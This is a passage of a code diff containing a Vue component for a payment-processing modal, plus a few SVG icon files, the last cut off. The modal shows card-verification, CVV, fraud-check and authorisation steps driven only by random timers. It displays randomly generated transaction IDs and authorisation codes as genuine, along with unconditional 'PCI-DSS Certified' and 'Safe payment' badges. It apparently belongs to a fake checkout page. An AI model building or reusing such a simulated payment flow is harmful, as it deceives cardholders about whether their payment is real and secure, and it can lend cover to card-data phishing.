||||||
|
<!-- Security badges -->
|
||||||
|
<div class="plm-badges">
|
||||||
|
<div class="plm-badge">
|
||||||
|
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||||
|
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
|
||||||
|
</svg>
|
||||||
|
<span>{{ t("SSL Encryption") }}</span>
|
||||||
|
</div>
|
||||||
|
<div class="plm-badge-sep"></div>
|
||||||
|
<div class="plm-badge">
|
||||||
|
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||||
|
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
|
||||||
|
</svg>
|
||||||
|
<span>{{ t("PCI-DSS Certified") }}</span>
|
||||||
|
</div>
|
||||||
|
<div class="plm-badge-sep"></div>
|
||||||
|
<div class="plm-badge">
|
||||||
|
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||||
|
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
|
||||||
|
</svg>
|
||||||
|
<span>{{ t("Safe payment") }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Transaction details -->
|
||||||
|
<div class="plm-details" v-if="showDetails">
|
||||||
|
<div class="plm-details-title">
|
||||||
|
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||||
|
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
|
||||||
|
</svg>
|
||||||
|
{{ t("payment_loading.transaction_details") }}
|
||||||
|
</div>
|
||||||
|
<div class="plm-detail-row">
|
||||||
|
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
|
||||||
|
<span class="plm-detail-val">{{ transactionId }}</span>
|
||||||
|
</div>
|
||||||
|
<div class="plm-detail-row">
|
||||||
|
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
|
||||||
|
<span class="plm-detail-val">{{ processingNetwork }}</span>
|
||||||
|
</div>
|
||||||
|
<div class="plm-detail-row">
|
||||||
|
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
|
||||||
|
<span class="plm-detail-val">{{ processingTime }}</span>
|
||||||
|
</div>
|
||||||
|
<div class="plm-detail-row">
|
||||||
|
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
|
||||||
|
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</transition>
|
||||||
|
</div>
|
||||||
|
</transition>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup lang="ts">
|
||||||
|
import { ref, watch, onUnmounted, computed } from "vue";
|
||||||
|
import { useI18n } from "vue-i18n";
|
||||||
|
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||||
|
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||||
|
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||||
|
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||||
|
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||||
|
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||||
|
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||||
|
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||||
|
import c9 from "@/assets/img/mir.jpg";
|
||||||
|
import c10 from "@/assets/img/80066acd3fcfa.svg";
|
||||||
|
|
||||||
|
const { t } = useI18n();
|
||||||
|
|
||||||
|
// ── Types ──────────────────────────────────────────────────
|
||||||
|
interface Props {
|
||||||
|
visible: boolean;
|
||||||
|
cardNumber?: string;
|
||||||
|
loading?: boolean;
|
||||||
|
closable?: boolean;
|
||||||
|
maskClosable?: boolean;
|
||||||
|
autoClose?: boolean;
|
||||||
|
autoCloseDelay?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface Emits {
|
||||||
|
(e: 'update:visible', value: boolean): void;
|
||||||
|
(e: 'close'): void;
|
||||||
|
(e: 'step-change', step: number): void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const props = withDefaults(defineProps<Props>(), {
|
||||||
|
visible: false,
|
||||||
|
cardNumber: "",
|
||||||
|
loading: true,
|
||||||
|
closable: true,
|
||||||
|
maskClosable: true,
|
||||||
|
autoClose: false,
|
||||||
|
autoCloseDelay: 5000
|
||||||
|
});
|
||||||
|
|
||||||
|
const emit = defineEmits<Emits>();
|
||||||
|
|
||||||
|
// ── State ──────────────────────────────────────────────────
|
||||||
|
const progress = ref(0);
|
||||||
|
const progressMessage = ref(t('payment_loading.preparing'));
|
||||||
|
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
|
||||||
|
const showSpinner = ref(false);
|
||||||
|
const transactionId = ref('');
|
||||||
|
const authCode = ref('');
|
||||||
|
const processingNetwork = ref('');
|
||||||
|
const processingTime = ref('');
|
||||||
|
const securityLevel = ref(t('payment_loading.high'));
|
||||||
|
const showDetails = ref(false);
|
||||||
|
const imgRef = ref<string>(c8);
|
||||||
|
const autoCloseTimer = ref<number | null>(null);
|
||||||
|
|
||||||
|
// ── Computed ───────────────────────────────────────────────
|
||||||
|
const cardType = computed(() => {
|
||||||
|
const num = props.cardNumber.replace(/\D/g, '');
|
||||||
|
if (/^4/.test(num)) return 'VISA';
|
||||||
|
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
|
||||||
|
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
|
||||||
|
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
|
||||||
|
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
|
||||||
|
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||||
|
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
|
||||||
|
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
|
||||||
|
if (/^220[0-4]/.test(num)) return 'MIR';
|
||||||
|
return 'Generic';
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Progress steps ─────────────────────────────────────────
|
||||||
|
const progressSteps = [
|
||||||
|
{ threshold: 0, message: t('payment_loading.step_init') },
|
||||||
|
{ threshold: 10, message: t('payment_loading.step_encrypt') },
|
||||||
|
{ threshold: 20, message: t('payment_loading.step_connect') },
|
||||||
|
{ threshold: 30, message: t('payment_loading.step_verify_card') },
|
||||||
|
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
|
||||||
|
{ threshold: 50, message: t('payment_loading.step_fraud') },
|
||||||
|
{ threshold: 60, message: t('payment_loading.step_send') },
|
||||||
|
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
|
||||||
|
{ threshold: 80, message: t('payment_loading.step_process_resp') },
|
||||||
|
{ threshold: 90, message: t('payment_loading.step_confirm') },
|
||||||
|
{ threshold: 95, message: t('payment_loading.step_finalize') },
|
||||||
|
{ threshold: 100, message: '' },
|
||||||
|
];
|
||||||
|
|
||||||
|
// ── Functions ──────────────────────────────────────────────
|
||||||
|
function getCreditCardType(type: string | null): string {
|
||||||
|
if (!type) return c8;
|
||||||
|
const u = type.toLocaleUpperCase();
|
||||||
|
if (u.includes("VISA")) return c1;
|
||||||
|
if (u.includes("MASTERCARD")) return c2;
|
||||||
|
if (u.includes("JCB")) return c3;
|
||||||
|
if (u.includes("CHINA UNION PAY")) return c4;
|
||||||
|
if (u.includes("AMERICAN EXPRESS"))return c5;
|
||||||
|
if (u.includes("DISCOVER")) return c6;
|
||||||
|
if (u.includes("MAESTRO")) return c7;
|
||||||
|
if (u.includes("DINNERS")) return c8;
|
||||||
|
if (u.includes("MIR")) return c9;
|
||||||
|
return c10;
|
||||||
|
}
|
||||||
|
|
||||||
|
const generateTransactionDetails = (typeData: string) => {
|
||||||
|
const type = typeData.toUpperCase();
|
||||||
|
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||||
|
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
|
||||||
|
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
|
||||||
|
processingNetwork.value =
|
||||||
|
type === 'VISA' ? t('payment_loading.network_visa') :
|
||||||
|
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
|
||||||
|
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
|
||||||
|
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
|
||||||
|
t('payment_loading.network_intl');
|
||||||
|
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
|
||||||
|
};
|
||||||
|
|
||||||
|
const animateProgress = () => {
|
||||||
|
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||||
|
const breakpoints = [
|
||||||
|
{ point: 20, delay: 700 },
|
||||||
|
{ point: 40, delay: 500 },
|
||||||
|
{ point: 70, delay: 1200 },
|
||||||
|
{ point: 90, delay: 600 },
|
||||||
|
];
|
||||||
|
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
|
||||||
|
|
||||||
|
intervalId.value = setInterval(() => {
|
||||||
|
const breakpoint = getBreakpoint();
|
||||||
|
if (breakpoint) {
|
||||||
|
const increment = Math.random() * 0.2;
|
||||||
|
progress.value = Math.min(progress.value + increment, 95);
|
||||||
|
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||||
|
setTimeout(() => {
|
||||||
|
if (breakpoint.point === 70) showDetails.value = true;
|
||||||
|
animateProgress();
|
||||||
|
}, breakpoint.delay);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let increment: number;
|
||||||
|
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
|
||||||
|
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
|
||||||
|
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
|
||||||
|
else increment = Math.random() * 0.3 + 0.05;
|
||||||
|
|
||||||
|
progress.value = Math.min(progress.value + increment, 95);
|
||||||
|
|
||||||
|
for (let i = progressSteps.length - 1; i >= 0; i--) {
|
||||||
|
if (progress.value >= progressSteps[i].threshold) {
|
||||||
|
progressMessage.value = progressSteps[i].message;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!props.loading) {
|
||||||
|
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||||
|
intervalId.value = null;
|
||||||
|
progress.value = 100;
|
||||||
|
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||||
|
}
|
||||||
|
}, 300);
|
||||||
|
};
|
||||||
|
|
||||||
|
const clearAutoCloseTimer = () => {
|
||||||
|
if (autoCloseTimer.value) {
|
||||||
|
clearTimeout(autoCloseTimer.value);
|
||||||
|
autoCloseTimer.value = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const closeModal = () => {
|
||||||
|
clearAutoCloseTimer();
|
||||||
|
emit('update:visible', false);
|
||||||
|
emit('close');
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleOverlayClick = () => {
|
||||||
|
if (props.maskClosable) closeModal();
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── Watchers ───────────────────────────────────────────────
|
||||||
|
watch(() => props.visible, (newVisible) => {
|
||||||
|
if (newVisible) {
|
||||||
|
const type = cardType.value || localStorage.getItem("cardType");
|
||||||
|
imgRef.value = getCreditCardType(type);
|
||||||
|
if (props.autoClose) {
|
||||||
|
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
clearAutoCloseTimer();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
watch(() => props.loading, (isLoading) => {
|
||||||
|
if (isLoading) {
|
||||||
|
showSpinner.value = true;
|
||||||
|
progress.value = 0;
|
||||||
|
progressMessage.value = progressSteps[0].message;
|
||||||
|
generateTransactionDetails(cardType.value);
|
||||||
|
animateProgress();
|
||||||
|
} else {
|
||||||
|
if (intervalId.value) {
|
||||||
|
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||||
|
intervalId.value = null;
|
||||||
|
}
|
||||||
|
const completeProgress = () => {
|
||||||
|
const currentProgress = progress.value;
|
||||||
|
const step = Math.max((100 - currentProgress) / 10, 1);
|
||||||
|
progress.value = Math.min(currentProgress + step, 100);
|
||||||
|
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||||
|
if (progress.value < 100) {
|
||||||
|
intervalId.value = setTimeout(completeProgress, 10);
|
||||||
|
} else {
|
||||||
|
setTimeout(() => { showSpinner.value = false; }, 500);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
completeProgress();
|
||||||
|
}
|
||||||
|
}, { immediate: true });
|
||||||
|
|
||||||
|
// ── Lifecycle ──────────────────────────────────────────────
|
||||||
|
onUnmounted(() => {
|
||||||
|
clearAutoCloseTimer();
|
||||||
|
if (intervalId.value) {
|
||||||
|
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||||
|
intervalId.value = null;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
/* ===== Transitions ===== */
|
||||||
|
.plm-fade-enter-active,
|
||||||
|
.plm-fade-leave-active {
|
||||||
|
transition: opacity 0.3s ease;
|
||||||
|
}
|
||||||
|
.plm-fade-enter-from,
|
||||||
|
.plm-fade-leave-to {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-slide-enter-active {
|
||||||
|
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
|
||||||
|
}
|
||||||
|
.plm-slide-leave-active {
|
||||||
|
transition: opacity 0.2s ease, transform 0.2s ease;
|
||||||
|
}
|
||||||
|
.plm-slide-enter-from {
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(20px) scale(0.97);
|
||||||
|
}
|
||||||
|
.plm-slide-leave-to {
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(8px) scale(0.99);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Overlay ===== */
|
||||||
|
.plm-overlay {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
background: rgba(30, 41, 59, 0.4);
|
||||||
|
backdrop-filter: blur(8px);
|
||||||
|
-webkit-backdrop-filter: blur(8px);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
z-index: 9999;
|
||||||
|
padding: 20px;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Dialog ===== */
|
||||||
|
.plm-dialog {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 380px;
|
||||||
|
background: #fff;
|
||||||
|
border-radius: 18px;
|
||||||
|
overflow: hidden;
|
||||||
|
box-shadow:
|
||||||
|
0 0 0 1px rgba(148, 163, 184, 0.15),
|
||||||
|
0 8px 24px -4px rgba(15, 23, 42, 0.12),
|
||||||
|
0 32px 64px -16px rgba(15, 23, 42, 0.14);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Header ===== */
|
||||||
|
.plm-dialog-header {
|
||||||
|
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
|
||||||
|
border-bottom: 1px solid #e8edf3;
|
||||||
|
padding: 18px 20px 16px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-left {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-icon {
|
||||||
|
width: 36px;
|
||||||
|
height: 36px;
|
||||||
|
background: #fff;
|
||||||
|
border: 1px solid #e2e8f0;
|
||||||
|
border-radius: 10px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
flex-shrink: 0;
|
||||||
|
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-icon svg {
|
||||||
|
width: 17px;
|
||||||
|
height: 17px;
|
||||||
|
color: var(--global-primary-color, #4f7ef8);
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-text {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-title {
|
||||||
|
color: #1e293b;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.1px;
|
||||||
|
line-height: 1.3;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-sub {
|
||||||
|
color: #94a3b8;
|
||||||
|
font-size: 11.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-header-pct {
|
||||||
|
font-size: 20px;
|
||||||
|
font-weight: 800;
|
||||||
|
color: var(#007BFF, #007BFF);
|
||||||
|
letter-spacing: -0.5px;
|
||||||
|
min-width: 44px;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Dialog Body ===== */
|
||||||
|
.plm-dialog-body {
|
||||||
|
padding: 22px 20px 20px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Card + progress center ===== */
|
||||||
|
.plm-center-wrap {
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-card-logo {
|
||||||
|
width: 120px;
|
||||||
|
height: 76px;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
border-radius: 10px;
|
||||||
|
background: #f8fafc;
|
||||||
|
border: 1px solid #e8edf3;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-card-logo img {
|
||||||
|
width: 72%;
|
||||||
|
object-fit: contain;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-scan-line {
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: -10%;
|
||||||
|
width: 8px;
|
||||||
|
height: 100%;
|
||||||
|
background: rgba(255, 255, 255, 0.85);
|
||||||
|
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
|
||||||
|
animation: plm-scan 2.2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes plm-scan {
|
||||||
|
0% { left: -10%; }
|
||||||
|
100% { left: 110%; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Progress ===== */
|
||||||
|
.plm-progress-section {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-progress-track {
|
||||||
|
width: 100%;
|
||||||
|
height: 4px;
|
||||||
|
background: #e8edf3;
|
||||||
|
border-radius: 99px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-progress-fill {
|
||||||
|
height: 100%;
|
||||||
|
background: linear-gradient(90deg,
|
||||||
|
var(--global-primary-color, #4f7ef8) 0%,
|
||||||
|
#93c5fd 50%,
|
||||||
|
var(--global-primary-color, #4f7ef8) 100%);
|
||||||
|
background-size: 200% 100%;
|
||||||
|
border-radius: 99px;
|
||||||
|
transition: width 0.6s ease;
|
||||||
|
animation: plm-shimmer 2.5s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes plm-shimmer {
|
||||||
|
0% { background-position: 200% center; }
|
||||||
|
100% { background-position: -200% center; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Status message ===== */
|
||||||
|
.plm-status-msg {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 7px;
|
||||||
|
font-size: 12.5px;
|
||||||
|
color: #64748b;
|
||||||
|
min-height: 18px;
|
||||||
|
text-align: center;
|
||||||
|
letter-spacing: 0.1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-dot-pulse {
|
||||||
|
display: inline-block;
|
||||||
|
width: 6px;
|
||||||
|
height: 6px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--global-primary-color, #4f7ef8);
|
||||||
|
flex-shrink: 0;
|
||||||
|
animation: plm-pulse 1.6s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes plm-pulse {
|
||||||
|
0%, 100% { opacity: 1; transform: scale(1); }
|
||||||
|
50% { opacity: 0.3; transform: scale(0.65); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Divider ===== */
|
||||||
|
.plm-divider {
|
||||||
|
width: 100%;
|
||||||
|
height: 1px;
|
||||||
|
background: #f1f5f9;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Security badges ===== */
|
||||||
|
.plm-badges {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 10px;
|
||||||
|
width: 100%;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-badge {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 4px;
|
||||||
|
color: #94a3b8;
|
||||||
|
font-size: 10.5px;
|
||||||
|
font-weight: 500;
|
||||||
|
white-space: nowrap;
|
||||||
|
letter-spacing: 0.1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-badge svg {
|
||||||
|
width: 11px;
|
||||||
|
height: 11px;
|
||||||
|
fill: #86efac;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-badge-sep {
|
||||||
|
width: 1px;
|
||||||
|
height: 10px;
|
||||||
|
background: #e2e8f0;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ===== Transaction details ===== */
|
||||||
|
.plm-details {
|
||||||
|
width: 100%;
|
||||||
|
background: #f8fafc;
|
||||||
|
border-radius: 12px;
|
||||||
|
padding: 14px 16px;
|
||||||
|
box-sizing: border-box;
|
||||||
|
border: 1px solid #edf2f7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-details-title {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 5px;
|
||||||
|
font-size: 10.5px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #94a3b8;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.8px;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-details-title svg {
|
||||||
|
width: 12px;
|
||||||
|
height: 12px;
|
||||||
|
fill: #cbd5e1;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-detail-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 6px 0;
|
||||||
|
font-size: 12.5px;
|
||||||
|
border-bottom: 1px dashed #edf2f7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-detail-row:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
padding-bottom: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-detail-label {
|
||||||
|
color: #94a3b8;
|
||||||
|
font-weight: 400;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-detail-val {
|
||||||
|
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
|
||||||
|
color: #475569;
|
||||||
|
font-weight: 600;
|
||||||
|
font-size: 11.5px;
|
||||||
|
letter-spacing: 0.3px;
|
||||||
|
max-width: 55%;
|
||||||
|
text-align: right;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plm-green {
|
||||||
|
color: #22c55e;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<template>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||||
|
<path
|
||||||
|
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<template>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
|
||||||
|
<path
|
||||||
|
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</template>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<template>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
|
||||||
|
<path
|
||||||
|
